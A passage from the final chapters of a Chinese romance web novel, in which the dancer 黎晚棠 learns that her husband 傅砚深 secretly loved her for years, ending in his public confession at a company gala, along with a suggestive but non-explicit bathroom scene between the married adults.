不知为何,她现在就想粘着他,似乎只有他在自己身边,她才会感到安心。 对于女孩的这种依赖,傅砚深很享受,就着这个姿势轻松将人抱了起来,转身进入浴室。 抬手扯过一条毛巾,先垫在洗手台上,而后才把她放坐在上面。 “还需要我帮你刷牙吗?”傅砚深垂眸时,眉眼间都是笑意。 黎晚棠仰头静静望着他,能把她当女儿宠的男人,就算他以前喜欢过别人那又怎样,现在他们才是合法夫妻。 这般想着,黎晚棠伸手拽住傅砚深的衣领,用力将人拉下来后,强势吻了上去。 “傅砚深,你是我的!” 第48章 女孩用如此霸道的方式,来宣示她的主权,这点让傅砚深内心得到极大满足。 而且很喜欢,她霸道掌控他的那种感觉。 傅砚深原本挺享受她的亲吻,越到后面越磨得他心痒难耐,只能反客为主,扣住她后脑加深这个吻。 清晨是个容易动情的特殊时间,怀里的女孩又这般热情,他内心的渴望如滚雪球越来越大,似乎一个吻根本不能满足。 加上昨晚喝多一个劲往他身上蹭,如果不是顾忌她酒后会不舒服,他也不会强忍着,半夜起来洗了两次冷水澡。 但这一刻,傅砚深唇上的吻逐渐变深,湿热的唇舌相互纠缠着,在这静谧的浴室里,水渍声在周围形成强烈的回音。 隐秘地勾扯着那根即将断裂的弦。 黎晚棠微仰着头,被他吻得极度缺氧,这原本是她宣示主权的强吻,却被他反控。 还在往其他方面发展。 傅砚深身体的变化让她明白,他想搞事。 也是吻到现在,她才后知后觉反应过来,她起床还没刷牙就去吻了傅砚深,然而他没有半分嫌弃,还不断在加深这个吻。 平时洁癖那么严重的人,如今对她却有了免疫。 这不就是最大的偏爱吗? 黎晚棠越想越热血沸腾,以往的矜持全部抛之脑后,现在只想全身心回应眼前的这个男人。 她偏头稍稍退开距离,轻喘着呼吸望着他,羞涩提议:“老公,我们在浴室里试试?” 她想和他拥有更多不同感觉的尝试,留下独属于他们的回忆。 傅砚深听到这话眼眸忽暗,喉咙也跟着翻滚起来,诱惑力太大:“你…不是头疼吗?” 其实他也在克制,担心她酒后不舒服。 可女孩的这个提议,让他某。处蠢蠢欲动。 黎晚棠抬头,目光依旧灼热地盯着他:“晨间运动,可以帮助体内代谢掉多余的酒精。” 她一字一句道:“所以,我现在很需要你。” 砰一声,他身体绷紧的那根弦,蓦地断了。 盯着她看的那双眸子逐渐变暗,傅砚深忽而捧住她的脸,偏头更加热烈地去亲她:“好,这次我快点。” 黎晚棠闭眼回应:“不用快,你今天想怎么玩,我都奉陪到底。” 女孩这句话瞬间将整个静谧的空间点燃,傅砚深脑子里亦如有烟花在绽放,他抬手取下眼镜,染上欲色的眸子不再克制。 单手圈住她的腰,他抱着她直接来到花洒下,强势把人压在墙上亲。 自动感应的水流从头顶洒下,瞬间溅湿两人身上的衣服。 突如其来的热水,让黎晚棠身体下意识瑟缩了下,只能更紧地抱住身前的男人。 雾气弥漫,顿时模糊他们眼前的视线,却清晰勾勒出黎晚棠漂亮的曲线。 傅砚深稍稍松开她的唇,伸手轻柔地抚摸着她的眉眼,掌心划过她湿润的脸颊时,一点点抬起她的下巴。 他目光紧锁在她的唇瓣上,此时被热水润泽过,泛着诱人的光泽,像熟透的水蜜桃。 极缓地咽了咽喉,傅砚深又忽而俯首,汹涌且直接地擒住她的唇,滚烫的舌尖撬开她的齿关,深。入探索。 带着一种前所未有的渴求,他强势将她占有。 头顶的水流还在哗啦啦地往下流淌,形成一个天然的隔音屏障,让他们在隐秘的空间里,肆无忌惮地释放情绪。 彼此甘之如饴,放纵沉沦- 时间很快来到她上访谈的这一天,因为是京北电视台的访谈节目,而且还有业内当红的主持人,黎晚棠格外注重。 她能正儿八经出现在这样的访谈节目里,足以证明她现在的热度和知名度都非常高,也是这样,他才有机会来到这档热播节目中亮相。 下午他们抵达电视台,就有负责人过来接待,热情地把他们带进休息室。 不一会儿,主持人也笑着走了进来,双方互相寒暄过后,开始对照台本和接下来的采访流程。 之后黎晚棠也在默默记流程,没多久,就有工作人员带着她做妆照,准备开拍录制节目。 衣服是电视台这边准备的,上完妆,她换好衣服,就有工作人员过来通知,可以进录制厅。 黎晚棠笑着说谢谢,跟着工作人员来到录制大厅时,内心还是挺激动的,平时只能通过电视上看到的地方,现在就在眼前。 原来现场真跟电视里不同,周边有很多机器围着,台下的观众离得也特别近。 她深吸一口,让自己激动的心情慢慢平复。 观众入场,所有摄影师准备工作完成,现场导演喊了一句开始,支持人对着镜头说着开场白,接着介绍今天的访谈人物。 当主持人报出黎晚棠的名字,镜头立马对准她的脸,现场掌声响起的同时,她微微弯唇,抬手朝镜头前的观众打招呼。 她笑容甜美,动作大方自然,估计是有常年在舞台上表演的经验,她看不出有一丝怯场的痕迹。 回答问题思路清晰,还分享了很多舞蹈技巧,让更多热爱跳舞的网友有了选择的方向。 对于黎晚棠这次的爆火,她在这里也给出了回应:“我真不知道我跳的舞会让那么多人喜欢,而且这次国际比赛没有大家的鼓励和支持,我也不会在众多优秀的舞者中脱颖而出,以后我更加努力创作新的作品,来回馈大家的喜爱。” 即将结束时,主持人临时加了一段随性发挥的舞蹈表演。 黎晚棠诧异地看了她一眼,最后还是笑着站起身,根据现场播放的音乐,跳了几段。 一曲结束,今天的采访算是圆满成功。 事后主持人解释,她是见现场气氛热烈,才临时加了段舞蹈。 黎晚棠笑着表示理解,主持人本来就是要有控场的能力,而且她也不为难。 跟现场观众拍照合影,她挥手笑着退场,返回休息室换回自己的衣服。 只是当他们准备离开电视台时,叶知薇的电话打了过来:“棠宝,晚上一起吃饭呗。” 黎晚棠勾唇进入电梯:“切,你请我吃饭肯定没什么好事。” “当然有好事,我特意过来庆祝你夺得冠军的呀。” 怕她找借口拒绝,叶知薇忙说道:“你别犹豫啊,我已经在电视台门口啦。” “……” 黎晚棠笑容妙收,就知道这家伙目的不纯。 好在接下来没有别的工作,她先让小莉下班,自己去跟叶知薇汇合。 此时电视台门口的辅道上,一辆打着双闪的保时捷正停靠在路边。 叶知薇偏头看到全副武装走出来的黎晚棠,弯唇笑了笑。 她是真没想到有天跟好友见面,会是这样一番景象。 等黎晚棠上车后,她侧身笑着调侃:“姐妹,说说呗,被众星捧月等感觉如何?” 黎晚棠拆掉口罩,偏头睇她一眼:“那我等会儿让你体验一下?” “别别别,我脸皮薄,受不了大家围着我看。”叶知薇秒怂,目视前方,老老实实开车。 黎晚棠失笑,整个人仰头靠着椅子上。 叶知薇订的餐厅离电视台很近,十几分钟两人到目的地。 她还特意订了间私密性很强的包厢。 黎晚棠目光环视一圈,弯唇拉开椅子落座:“可以啊,这里不便宜吧?” “嗐,接待你,必须要最好的。”叶知薇把点菜的平板递给她,阔气道:“想吃什么,随便点。” 黎晚棠拿过平板的动作顿了下,抬眸看她:“呦,这是又拿奖金了?” 这家伙只要拿了奖金,出手一般都阔绰。 叶知薇呵呵直笑:“不多不多,就小赚了点,这不是上次采访你老公的那篇报道火了吗,领导给我升职加薪了。” 闻言,黎晚棠微挑了挑眉,索性没客气,点了些比较贵的海鲜。 叶知薇见她点完菜,忙从包里拿出一叠照片,笑吟吟看着她:“棠宝,你的独家采访我没捞着,给我签几张照片吧。” 黎晚棠顺势低头看了眼,一沓照片都有新华字典那么高,她惊诧道:“叶知薇,你不是想拿着我的签名照去卖钱吧?” 按照她现在的热度,签名照还是值点钱的。 “说什么呢,我能挣那个钱吗。” 叶知薇弯腰把照片和笔递给她,解释道:“这些都是我同事要的,上次采访傅砚深后,他们都知道你是我闺蜜。” 闻言,黎晚棠嘴角立马露出笑意:“这还差不多,那我全帮你签完。” 等上菜期间,黎晚棠就一直在低头签名,叶知薇托着下巴时不时跟她闲聊:“棠宝,你现在是爱情事业双丰收,我都羡慕死你了。” 她叹口气:“最主要的是,你身边还有那么爱你的一个男人。” 听到这句话,黎晚棠签名的笔尖微顿,片刻后,抬头看她:“知薇,其实傅砚深还喜欢过别人,我不是他的唯一。” 她告诉过自己要彻底忘掉的,可是只要有话题触及到她的内心,她还是会介意和在意。 “啊!傅砚深他出轨了?” 叶知薇惊诧出声,反应很强烈。 “……” 黎晚棠无语地看着她,不能理解她是什么脑回路。 最后,只能耐心跟她解释一遍。 叶知薇听完后,抿唇沉默了好一会儿,才出声:“棠棠,你很在乎傅砚深的过去吗,他现在是爱你的不就好了,再说,哪个男生年少时没心动过呢,这种事很正常。” “况且他只是暗恋,又不是轰轰烈烈谈过,属于一段无疾而终的暗恋。” 黎晚棠微垂着眸:“这些我都懂,可我就是忘不掉,而且知道和不知道是两回事。” 如果可以选择,她宁愿那天什么都没听到。 叶知薇咬唇道:“既然你这么在意,那你直接去问傅砚深,你们当面把这事说开了。” 黎晚棠忙摇头:“不行,如果他真跟我坦白了,而他暗恋的那个女孩我还恰好认识怎么办,那我瞎想的空间不就更多了吗。” 她停顿了下,又道:“要是不认识,我也会千方百计把人找出来,然后亲自跑去看看她本人,她到底有多优秀能如此吸引傅砚深。” 叶知薇被她这话逗笑:“我看你呀,是没谈过恋爱才会这样,如果是我,只要对方分得干净彻底,我照样谈得死去活来,这年头谁在乎那个,我在乎的是他有没有丰富的经验,我可不喜欢当老师。” “……” 好好的话题又被她带歪了。 黎晚棠觉得还是不要跟叶知薇聊感情。 她容易偏题。 点的菜全部上桌,两人边吃边聊,吃得差不多时,叶知薇又从包里掏出一个盒子。 “棠宝,这是我提前给你准备的生日礼物,知道那天你不会跟我过,早点给你。” 黎晚棠瞧她那样觉得好笑,抬手接过盒子打开,里面是一对很有特色的耳环,从牌子上看,还不便宜。 她缓缓合上,笑着打趣道:“我今天又吃又拿的,多不好意思。” “嗐,我还等着你带我飞呢,不得先提前贿赂你。” 叶知薇兀自笑了笑,朝她挑眉:“这次生日,你们打算怎么过?” “过不了,我下周就要出差,生日那天还得登台演出。” 黎晚棠之前还幻想过,这个生日是他们婚后的第一个生日,期待傅砚深会给她安排什么样的生日惊喜。 可计划没有变化快,她演出的时间很早就定了。 傅砚深也知道她生日当天还有演出,而且他们还不在同一个城市,生日的话题就一直没人提。 不提的,同时还有那件暗恋的事,黎晚棠还是没有勇气去找傅砚深,当面抛开。 出差期间,两人一直都有电话和视频聊天,倒是也不存在什么异地恋,加上快年底了,双方都有点忙。 直到她生日那天,黎晚棠多次拿出手机查看,所有亲人都给她发来了生日祝福,唯独没有傅砚深。 心里不失落是假的,毕竟这是他们婚后的第一个生日。 上台表演前,依旧没有他的电话信息。 演出结束,小莉跟着黎晚棠返回酒店房间时,见她整个人懒洋洋的,看似心情低落。 她沉默了会儿,小声询问:“晚棠姐,你晚上都没怎么吃东西,要不我去帮你买点吧。” 黎晚棠摇头:“不用了,我就想睡一觉。” 小莉目光在她脸上打量几秒,点头:“哦,那你有事随时打我电话。” 黎晚棠弯唇,目送她转身离开后,才关上房门。 她先将满浴缸放满水,而后舒舒服服地泡了个澡。 再出来,她全身轻松不少。 黎晚棠给自己倒了杯水来到沙发落座,弯腰拿过手机看了眼,屏幕上依旧很干净,没有任何电话和信息。 她点开傅砚深的微信,想问问他今天都在忙什么,大家都记得她的生日,他不可能不知道。 如果他在忙,那她主动找他好了。 只是这通视频还没打过去,门铃在这个时候先响了起来。 黎晚棠回头看了眼,以为是小莉去给她买吃的了,放下手机走了过去。 她打开门:“小莉,我说了不吃——” 后面的话还没说完,当她看清站在门外的人是傅砚深时,抿直的嘴角瞬间上扬,急忙松开门把手,上前扑进他怀里:“你怎么来了?” 傅砚深单手环抱住她,嘴角微弯:“过来陪你过生日。” 黎晚棠笑容越发扩展:“我以为你忘了。” “忘不了,每天开机都要输入的数字,早已刻入脑海里。” 傅砚深见她抱着自己不松手,笑问:“就一直这样抱着,确定不会被人拍到?” 闻言,黎晚棠立马松开他的腰,顺势抓住他的手腕,迫不及待把人拽进门:“当然怕,你的美貌可不能让其他人看到,只能我看。” 这时,她指尖触碰到的硬物让她下意识低头,仔细看这才发现,他另只手还拎着一个蛋糕。 她嘴角弯了弯,仰头看他:“蛋糕是你做的吗?” 包装上没有任何logo,猜想应该是他自己做的。 毕竟他之前有过做蛋糕的经验。 “嗯,无糖的,这次换了一个口味。” 傅砚深牵着她来到沙发,把蛋糕放茶几上,扭头看她:“自己打开看看。” 黎晚棠看了眼他,又低头去看茶几上的蛋糕,接着蹲下身,一点点拆开包装袋。 拿掉外面的盒子,当看到蛋糕的形状时,她眼眸微睁,忙抬头去看他:“上面跳舞的女孩是我吗?” 傅砚深虽然不想承认,却还是点头:“对着你的照片做的,但差距还是有点大。” “怎么会呢,我一眼就看出是我。” 黎晚棠偏头凑近,笑着跟蛋糕上的女孩做对比:“你看,这样看是不是更像了吧。” 傅砚深被她这模样逗笑,抬手在她脸颊轻捏了捏:“许个愿吧。” 说着,他从旁边拿过一根蜡烛,和打火机。 黎晚棠见状,立马起身跑过去关灯,只留下一盏微弱的落地灯,昏暗光拉出几分朦胧的氛围感。 烛光亮起时,周围瞬间落下一圈圈暖黄的光线。 黎晚棠跪坐在地毯上,双手合十闭上眼开始许愿。 傅砚深就这般静静地看着她,许久才见女孩睁眼:“都许什么愿望了?” 黎晚棠仰头目光柔和地望着他,嘴角露出一抹狡黠的笑:“说出来,你会帮我实现吗?” 傅砚深毫不犹豫:“当然。” 就算她想要天上的星星,他也会想办法去试一试。 黎晚棠像是看透他的想法,弯唇好笑道:“放心,不是要你去摘天上的星星。” 她倏地站起身,三两步跨坐在傅砚深大腿上,双手捧起他的脸,低头在他唇上亲了下:“我希望,傅砚深能一辈子爱我,只爱我。” 傅砚深那双深邃的黑眸就这般定定地回视着她,语气前所未有的真诚:“黎晚棠,以后不要轻易浪费掉自己的愿望。” 两人安静地互望着,她就听到他后面那句。 “就算你不许愿,我爱的人也只有你。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第49章【完结】 第49章 黎晚棠最近的变化让傅砚深很享受,她不仅把爱意常挂在嘴边,没有演出的时候就喜欢黏着他。 他们各自出门忙工作,回来见面的第一时间,就要亲亲抱抱。 他分不清,她的这种变化从什么时候开始的。 高兴之余,又带着几分疑惑。 黎晚棠生日过后,天气越来越冷,临近年尾,似乎所有人都开始忙碌起来。 与程晏川他们相聚,也是约了好久四人才得以聚在一起。 一进门,裴竞洲就抱怨京北的天气:“今天这风刮得脸疼,从车里下来就不行了,看来我得去马拉加避寒。” 落座后,他偏头去问周叙白:“老白,我们年底都没什么事,组队约一个呗。” “要去你自己去,我可没你那么闲。” 周叙白笑着喝了口酒,年底家里安排相亲,恰好相亲对象他还认识,所以想借此机会聊聊。 裴竞洲觉得他没劲,扭头去看另外两位。 算了,他们更没劲。 傅砚深不喝酒,只端着杯热茶在喝,而程晏川也不知道抽什么疯,今天竟然陪着他慢悠悠品茶。 裴竞洲盯着看了片刻,索性站起身,走到他们跟前坐下:“老傅,你也给我泡一杯,暖暖身子。” 傅砚深掀眸看他一眼,而后放下茶杯,慢条斯理帮他泡喝功夫茶。 裴竞洲见状,笑着靠在沙发上:“瞧瞧,如今我也有这待遇了。” 周叙白瞥他们一眼,还是觉得他手里的酒更香。 几人相聚,不外乎就聊聊近况,说一些工作上的事情,只是程晏川有心事,今晚的话格外少。 等裴竞洲和周叙白出去抽烟,程晏川瞥了眼傅砚深,试着开口:“你们最近还好吧?” 傅砚深抬眸看他,知道他问的是他和黎晚棠,挑眉问:“你是不是有什么事想说。” 程晏川不是个爱管闲事的人,但他现在能问出这话,肯定是有事瞒着他。 “我就是在考虑,这事要不要跟你讲。”程晏川轻咳出声,似乎在斟酌用词。 傅砚深放下茶杯,黑眸直直地盯着他:“事关我和黎晚棠。” “……” 都猜出来了,他现在不说也不行。 程晏川酝酿了片刻,把那天在懿府的情况如实交代:“我想黎晚棠应该是听到了。” 傅砚深黑沉着脸,回想黎晚棠最近的变化,恍然明白,她那些亲密拥抱全是没有安全感的举动。 多次宣示主权,也只是因为介意才会如此。 他蹭一下站起身,低头看向程晏川:“这事你怎么不早跟我说。” 冷声丢下这句,傅砚深直接转身,疾步往外走。 裴竞洲和周叙白正好推门进来,见傅砚深就要走,两人都愣了下。 “哎,老傅你就走了?” 傅砚深声音没什么温度地开口:“嗯,你们聚,我有点事要回家一趟。” 说着,从他们身旁挤了出去。 见人就这么走了,周叙白不解地回过头,看向正低头喝茶不说话的程晏川,皱眉问:“怎么了老程,你们刚才吵起来了?” 傅砚深走的时候,脸色明显不好。 程晏川挑了挑眉,而后无奈叹了口气:“倒是没吵,可我确实把人惹急眼了。” 现在黎晚棠对傅砚深来说,就是他的逆鳞。 一点委屈都不能受- 傅砚深回到家,黎晚棠已经回来了。 或许是知道他今晚要出去跟他们聚,她没发信息和打电话催促,只是看到他回来,眉开眼笑朝他跑了回来。 傅砚深习惯性张开手,将人抱住,女孩在他胸膛上蹭了蹭,仰头问:“还以为你会很晚呢,怎么那么早就回来?” “没什么事,就提前结束了。” 傅砚深低头盯着她那双灵动的双眼,回想她最近的变化,圈住她的腰,用力把人压进怀里:“而且,我也想你了。” 她心里明明很介意,却一直不来找他问明白。 或许她在害怕,害怕得知真相是残酷的。 他咽了咽喉,刚想提这个话题,女孩先笑吟吟地看着他:“嘻嘻,我也是。” 黎晚棠想到什么,拉着他往客厅走:“来,给你看样东西。” 傅砚深任由女孩牵着他往里走,目光一直落在她身上,到嘴边的话又咽了回去。 两人落座在沙发,女孩立马翻出手机信息,极其兴奋地递给他:“傅砚深你看,我被中央电视台邀请上今年的春晚,这可是全国人民观看的春晚!” “我刚开始看到还以为是诈骗短信,最后找团长确认后,她说是真的,我要上春晚了!” 傅砚深看着女孩兴高采烈的样子,笑着把人拥进怀里:“棠宝,恭喜你,我为你现在的成就感到高兴。” 黎晚棠的光彩越发照人,他藏在心里的那个秘密,也是时候让她知道了。 傅砚深一直在寻找一个合适的机会,直到君安国际的年会来临,他心里便有了想法。 自他上任以来,君安的年收入比率比往年增长了百分之四十,董事会那边高兴了,今年不仅给大家准备了丰厚的奖品和红包,而且年会场地比往年的都要盛大。 会场提前一周就有人去布置了,只是当负责人看到傅砚深出现,还是有些惊讶。 好在他过来只是问了一下流程,叮嘱了几句,没什么大问题。 年会当天,黎晚棠还在排练厅练习上春晚的节目,对于这事他们整个舞蹈团都颇为重视,编导老师都安排了好几个。 因为作品需要央视那边的导演组审核,这期间他们还要不停地修改。 回到家已经筋疲力尽,所以傅砚深邀请她去参加年会时,她想都没想就拒绝了。 要是没出名之前,她会考虑去。 但现在她出门有太多的不方便,而且他们年会上人多眼杂,她也担心自己的出现,影响到他们公司年会的正常进展。 没有傅砚深在,整个家里都空荡荡的,她洗完澡出来,就听到床上的手机一直在响。 快步跑了过去,看到是傅砚深,急忙接通:“我刚洗澡出来,怎么了?” “没事,就是我有一份文件落在家里了,你要是不方便,我叫萧仲过去拿就行。” 黎晚棠问:“很重要吗?” 傅砚深声音平静:“嗯,年会上需要用到。” 得知是那么重要的文件,黎晚棠拿着手机转往书房:“那你不用萧仲过来了,具体是要什么,我找到帮你送过去。” 听到她要亲自送,傅砚深沉默了下,低声道:“好,详细内容发你手机上,文件放在书房的保险柜里,秘密是你的生日。” 黎晚棠脚步忽顿,片刻又继续往书房走:“好,你先发给我。” 挂掉电话,她正好推开书房门。 可此时脑子里却在回想他说的密码,如果她没记错,傅砚深当初说的是好记,并没说那串数字是她生日。 然而现在,他却直截了当说保险柜的密码是她生日,所以这是巧合还是他后面改的。 带着疑惑,黎晚棠一步步来到保险柜前,缓缓蹲下身,盯着眼前这个坚固的大箱子的 片刻后,她伸出指尖按下那串熟悉的密码。 咔一声,保险柜的门忽然弹开。 黎晚棠抬手扶住柜门,拉开的那一瞬,入目的那些物品让她眸光忽顿。 诸多的不可思议从她眼底划过,傅砚深的保险柜里,为何会有那么多她熟悉的物品。 单是那些她穿旧的舞蹈鞋,就不知多少双,她明明记得都被沈老师丢掉了,怎么会出现在这。 而且她拿到的奖杯,也被他全部放置在这里。 黎晚棠放轻呼吸,轻眨着眼睫拿出那沓文件上面的婚前协议书,她当时用口红画押的指纹还清晰可见,一点折痕都没有。 而文件旁边是一个方形盒子,从盒子的外观分析,应该是用了很多年多,周边都有了磨损的痕迹,看来傅砚深经常打开。 她盯着看了片刻,小心翼翼拿出盒子放在自己腿上,心里有种很强的预感,这里面装的东西可能会跟她有关。 黎晚棠深吸一口气,慢慢打开盒子,映入眼帘的那些东西,却让她瞬间红了眼眶。 不是什么贵重的物品,而是很厚的一叠,她每一场演出的票根,用胶水整齐粘好。 她拿起来一张张翻看,跨越的时间有十年之久,而且全部是最靠前的位置。 上面几乎是一场没落,每一张都被他完整地保存了起来。 这些年,傅砚深竟然看过她所有的演出,就算无法到达现场,也会有当天的票根。 她颤着手放下,这才发现票根下面,压着一张略微泛黄的旧照片。 黎晚棠心跳忽然加快,等看清照片上的人是她自己时,一直在眼眶打转的泪水倾泻而出,模糊了整个视线。 这张照片她记得很清楚,是她考上京北大学,在校门口拍的一张单人照,那天阳光跟她的心情一样,感觉万物都散发着光芒。 当时她爸妈还说,她能考上京北大学,傅砚深功不可没,如果没有他严厉的监督,她不会考出那么好的成绩。 看到这,黎晚棠心里隐隐明白,她一直害怕知道,却不敢面对的那个暗恋者,原来是她自己。 她一点点将照片翻了过来,后面还真有一排字。 ——黎晚棠,大学快乐。 黎晚棠看到这几个字,心脏再度加速跳动,整个人更是陷入全所未有的晕眩之中。 所以,从始至终,傅砚深喜欢的那个人,只有她! 可他是从什么时候喜欢上她的,她竟然毫无察觉。 恰好这时,傅砚深的信息发了过来:“棠宝,我藏了多年的秘密都被你看了,想知道答案吗,我在年会现场等你。” 黎晚棠急忙擦掉眼角的泪水,猛地从地上站了起来,疾步往客厅跑了出去,只是要出门前才发现,她身上还穿着睡衣。 想到是傅砚深公司的年会现场,人肯定不少,她又急匆匆返回卧室,重新换套衣服。 素着一张脸,换好鞋就跑进了电梯。 在等待的期间里才意识到,她身上除了手机,什么都没带。 可她不想再回去拿,只想迫不及待看见傅砚深。 电梯抵达地库,黎晚棠拉开车门,快速系上安全带,就直奔君安国际的年会现场。 好在这个时间点路上不堵车,半个小时不到,抵达酒店门口。 萧仲早就在门口等着,看到黎晚棠下车,快步走了过去:“太太,我带你进去。” 黎晚棠轻轻弯唇:“麻烦了。” 因为没戴口罩,途中有人认出了黎晚棠,大家纷纷过来打招呼,酒店经理见围着的人越看越多,立马叫来安保人员,一直将人护送到君安国际的年会大厅。 进去前,黎晚棠点头道谢,却没想到那位经理小心翼翼递过来纸笔,有些不好意思地开口:“黎小姐,我女儿很喜欢你,能帮我签个名吗?” “当然可以,能被你女儿喜欢,是我的荣幸。” 黎晚棠笑着接过纸笔,签好名后,这才跟着萧仲进入年会厅。 推开门,整个大厅流光溢彩,水晶灯光笼罩着一群涌动的人群,四面墙壁镶嵌着巨大的年会横幅,LED屏幕上滚动着君安辉煌的瞬间。 有人听到动静,纷纷偏头看来,其中有认出黎晚棠的,急忙去拍身旁的同事,一时间,吸引了不少人的目光。 黎晚棠有些拘谨地朝他们微笑点头,跟着萧仲来到稍稍靠前的位置落座。 “哇,我们公司什么时候请黎晚棠过来演出了,怎么没有一点消息。” “不清楚,但看她穿着,好像不是来演出的。” “没准是被哪位老总邀请来做嘉宾的吧,毕竟她现在人气很高。” 就在这时,原本还在低声讨论的声音忽停,紧接着掌声和尖叫声铺天盖地响起。 黎晚棠顺势抬头,就看见拿着话筒走上台的傅砚深。 不知为何,看到他出现在台上的那一瞬,她那颗平稳的心跳,又控制不住地加快。 男人身高腿长,一身黑色西服搭配鼻梁上的金边眼镜,此时站在舞台中间,右手拿着话筒,像极了大学里的教授,何况他讲解的还是K线图做成的金融数据报表。 黎晚棠听不懂,全程目光一直落在傅砚深身上,他表情认真,侧脸线条流畅,咬字清晰,声线低沉带着粗粝的质感。 此时的他,全身上下都散发出成熟男人的魅力。 直到要结束时,K线图突然发生了变化。 台下有人看出了什么,开始低声讨论:“这K线看着有点像是心跳数据,从弱到强很明显。” “还真是!傅总这是要准备告白吗?” “啊啊啊!这么刺激吗,是不是数据组搞错了。” “傅总亲自做的金融报表,除非是他故意搞错。” 这话落下,不少人都抬头去看屏幕上的数据,紧接着又有窃窃私语的声音响起。 最后有胆子大的,开口询问:“傅总,你后面的K线图,是准备要跟傅太太告白吗?” 黎晚棠听到这话,目光顿时落在大屏幕上,闪动的波折线她根本看不懂,但内行人肯定都知道。 就在这时,一直没往她这边看的傅砚深,目光不偏不倚地落在她身上,她眼眸微睁,两人隔着十几米远的距离,遥遥相望着。 就在他要开口回答时,黎晚棠无意识握紧掌心,没由来地有点紧张。 傅砚深拿起话筒,目光依旧盯着她,低沉的声音通过话筒传递至每个角落。 “对,我想借此机会,向我太太表白。” 他略微停顿了下,又说:“而且,她今天也来到了现场。” 轰隆! 现场所有人都跟炸锅似的,扭头四处查看,看似都很好奇传说中的傅太太,本人到底长什么样。 毕竟能让他们刻板严谨的傅总,在这么特殊的场合告白,估计得美如天仙,才值得他大张旗鼓。 最后大家看来看去觉得谁都不像,唯有前不久跟着萧助理进来的黎晚棠,有点可能。 毕竟他们在颜值和身高上都很般配,而且事业上也非常成功。 一时间,大家的目光全落在黎晚棠身上。 对于从四面八方投来的视线,黎晚棠也有些不知所措,她完全没料到傅砚深会用这种方式,在年会上跟她高调告白。 看样子,他还不打算隐瞒她的身份。 就当大家还在努力猜测时,傅砚深望向黎晚棠的目光越发认真,像下定什么决心:“老婆,是你自己上来,还是我下去接你。” 原本还在低语讨论的众人,听到这句话后,纷纷顺着傅砚深的视线偏头,确定那个方向就是黎晚棠后,有些女同事激动得在桌下跺脚。 天啊! 他们真是夫妻? 这简直是梦想照进现实,他们嗑到了现场版! 黎晚棠尽管很害羞,但见大家都盯着她看,也觉得今晚是躲不掉了,而且从傅砚深打那通电话开始,他就安排好了这些事。 她站起身时,只是有些后悔出门没化妆。 现在是纯素颜。 在大家看来,这样的黎晚棠清纯得像个大学生,皮肤白润细腻,就算没化妆,也没能削弱她站在舞台所散发出的光芒。 黎晚棠一步步走上舞台,感觉比她任何一次表演还要紧张。 傅砚深看到她出现,似乎一刻也等不及,快步朝她走了过去,当着众人的面,牵住她的手来到舞台中央。 台下的众人立马发出尖叫声,兴奋得掀翻屋顶。 黎晚棠指尖被他牵住的那一瞬,在大家看不到的角度狠狠睇他一眼,似乎在控诉,他安排的这个意外惊喜,差点没把她吓死。 然而牵住他的手指却在一点点收紧,虽然她是不好意思,但心里感动得快要晕倒。 两人站定后,傅砚深拿过话筒再次开口:“不好意思,占用大家时间了,但我这个秘密藏在心里太多年,一直没人正式提过,所以想趁着君安年会人多的时候,让大家知道。” 他停顿了下,偏头看着黎晚棠:“其实我暗恋我太太很多年了,一直没机会跟她说出口,一来是怕她拒绝,二来是没有勇气。” 对上他炙热的视线,黎晚棠本就不太平静的心,又在剧烈加快,仿佛下一秒就能从她心口蹦出来。 “也许是上天眷顾我,在我们分开的许多年后,让我如愿以偿娶到了,我当初暗恋过的那个女孩。” 傅砚深垂眸看着她,眼底尽是柔光:“黎晚棠,谢谢你能成为我的傅太太。” 话落的这一瞬间,满场的欢呼声和热烈的掌声响起,似乎能吃到他们傅总的瓜,大家都兴奋不已。 而萧仲看着这一幕差点泪目,感觉他们傅总太不容易了。 算是苦尽甘来。 黎晚棠眼泪早已夺眶而出,稀里哗啦地哭个不停。 她现在算是发现了,古板老男人就会整事,一句话能让她感动一辈子。 今晚这次告白,就算她以后成了老年痴呆,估计也忘不掉。 还以为这已经是今晚最大的惊喜,殊不知傅砚深放下话筒后,蓦地捧起她的脸,低头吻了下来。 “棠宝,第一次是你教我接吻,这次,换我向你交作业。” 黎晚棠不可思议地睁大眼睛,似乎从没想过他们会当着那么多人的面接吻,而她还踮脚回应了。 以前觉得这些是她不可能做的事,根深蒂固的原则却这一刻统统打破。 同时打破原则的人,还有傅砚深- 年会结束后,黎晚棠坐上回家的车里,脑子还是晕乎乎的,似乎还沉浸在他们当众接吻的场景里,一直出不来。 傅砚深偏头多次看她,轻声解释:“放心吧,关于你是傅太太的事情,只有君安的人知道。” 黎晚棠猛然抬头看他,明白他这话的意思,忙摇头:“我不是在想这个。” 傅砚深问:“那在想什么?” 黎晚棠表情认真望着他,是真心想知道答案:“我想知道,你是从什么时候开始喜欢我的?” 从那些票根来看,他暗恋她的时间不短,可她现在,她只想亲耳听他说出真相。 傅砚深轻轻勾唇:“告诉你之前,我想还是先带你去一个地方。” 黎晚棠虽然想迫切地知道答案,但直觉告诉她,傅砚深现在要带她去的地方,就能给她答案。 原本回家的路线被重新调转方向,轿车平稳行驶在快速路上,很快驶离高耸入云的金融中心,逐渐开往,人来人往的小道。 当黎晚棠看到周边环境越来越熟悉,就连她经常吃的那家早餐店仍亮着灯,此刻恍然明白,傅砚深要带她来的地方,是她小时候的排练室。 视线从窗外收回,她偏头去问身旁的男人:“答案是在这里是吗?” 傅砚深没说话,而是牵着她的手下车。 现在他们都到了这里,黎晚棠也不着急,放慢脚步跟着他进入院子,看他熟练拿出钥匙,打开那扇她许久没过来的排练室。 灯光亮起,屋内的陈列摆设没有任何变化,细看下,光滑的地板和玻璃墙竟一尘不染,反而倒映出洁净的光。 黎晚棠仰头环视一圈,头两次过来是心情不好,她根本没注意到这些细微的变化。 看完后,她忽而去问身旁的傅砚深:“这里定期有人打扫。” 不是疑问句,而是肯定。 傅砚深垂眸看着她:“嗯,一直都有,这样你什么时候回来这里都是干净的。” 心里的疑惑在一点点化解,黎晚棠轻颤地睫眼睫望着他,喉咙发酸地开口:“所以,你是在这里喜欢上我的?” “是,那年你刚满十四岁,我过来给你送东西。” 傅砚深说着,侧身指了指不远处那根把杆,嘴角微扬:“你弯腰在那边压腿,眼眶都红透了,却还在咬牙坚持,当时我就站在门口,你压了多久,我就看了多久。” 